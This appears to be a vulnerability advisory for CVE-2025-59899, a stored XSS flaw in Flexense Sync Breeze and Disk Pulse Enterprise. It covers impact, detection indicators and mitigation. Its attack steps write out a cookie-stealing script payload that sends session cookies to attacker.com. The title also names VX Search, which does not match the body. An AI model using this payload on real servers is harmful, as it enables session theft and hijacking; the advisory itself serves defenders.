CVE-2025-59899: 
VX Search vulnerability analysis and mitigation

CVE-2025-59899 is a persistent (stored) authenticated Cross-Site Scripting (XSS) vulnerability affecting Sync Breeze Enterprise Server v10.4.18 and Disk Pulse Enterprise v10.4.18, both developed by Flexense. The vulnerability allows an authenticated attacker to inject malicious scripts via the /server_options?sid= endpoint, targeting the tasks_logs_dir, errors_logs_dir, error_notifications_address, status_notifications_address, and status_reports_address parameters. It was published on January 28, 2026, and assigned by INCIBE. The CVSS v3.1 base score is 5.4 (Medium) (INCIBE Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), resulting from insufficient server-side validation of user-supplied input in the /server_options?sid= endpoint. Because the injected payload is stored and later rendered to other authenticated users, this is classified as a persistent (stored) XSS rather than a reflected variant. An attacker with low-privilege authenticated access can submit crafted payloads into configuration fields such as log directory paths or notification email addresses, which are then executed in the browser context of any user who views the affected settings page. No public proof-of-concept code has been identified at this time (INCIBE Advisory).

Successful exploitation allows an attacker to steal session tokens or other sensitive information from authenticated users who view the poisoned server options page, potentially enabling session hijacking and unauthorized access to the enterprise server management interface. The integrity of the affected application can also be compromised through script-driven actions performed in the victim's browser context. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level within the application's scope (INCIBE Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-59899. The EPSS score is approximately 0.047%, indicating a low probability of exploitation in the near term. The vulnerability requires the attacker to already hold authenticated (low-privilege) access to the application, and victim interaction is required for the payload to execute. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (INCIBE Advisory).

1. Authenticate: Log in to the Sync Breeze Enterprise Server or Disk Pulse Enterprise web interface with any valid low-privilege account.
2. Navigate to server options: Access the /server_options?sid=<session_id> endpoint, which exposes configuration parameters for log directories and notification addresses.
3. Inject XSS payload: Submit a crafted payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) into one or more of the vulnerable parameters: tasks_logs_dir, errors_logs_dir, error_notifications_address, status_notifications_address, or status_reports_address.
4. Payload persistence: The malicious script is stored server-side and rendered whenever an authenticated user (including administrators) views the server options page.
5. Session theft: When a victim loads the page, the injected script executes in their browser, exfiltrating session cookies or other sensitive data to the attacker-controlled server (INCIBE Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains shortly after accessing the /server_options page; unusual GET requests containing encoded cookie or session data in query parameters.
• Logs: Web server access logs showing POST requests to /server_options?sid= with unusually long or script-containing values in tasks_logs_dir, errors_logs_dir, error_notifications_address, status_notifications_address, or status_reports_address fields.
• Application: Presence of JavaScript tags or encoded script content (<script>, %3Cscript%3E, javascript:) within stored configuration values for log paths or notification addresses in the application's settings.

Users should upgrade to a version of Sync Breeze Enterprise Server and Disk Pulse Enterprise that addresses this vulnerability; however, no specific patched version number has been publicly confirmed at this time. As an interim measure, restrict access to the /server_options endpoint to trusted administrators only, and enforce network-level controls (e.g., firewall rules, VPN) to limit exposure of the management interface. Monitor server option fields for unexpected script content and audit user accounts with access to configuration pages (INCIBE Advisory).

The vulnerability was assigned and disclosed by INCIBE (Spain's National Cybersecurity Institute), which published an advisory covering multiple vulnerabilities in Flexense products. No significant independent researcher commentary, vendor statements from Flexense, or notable media coverage has been identified beyond the initial INCIBE advisory and standard vulnerability database aggregation (INCIBE Advisory).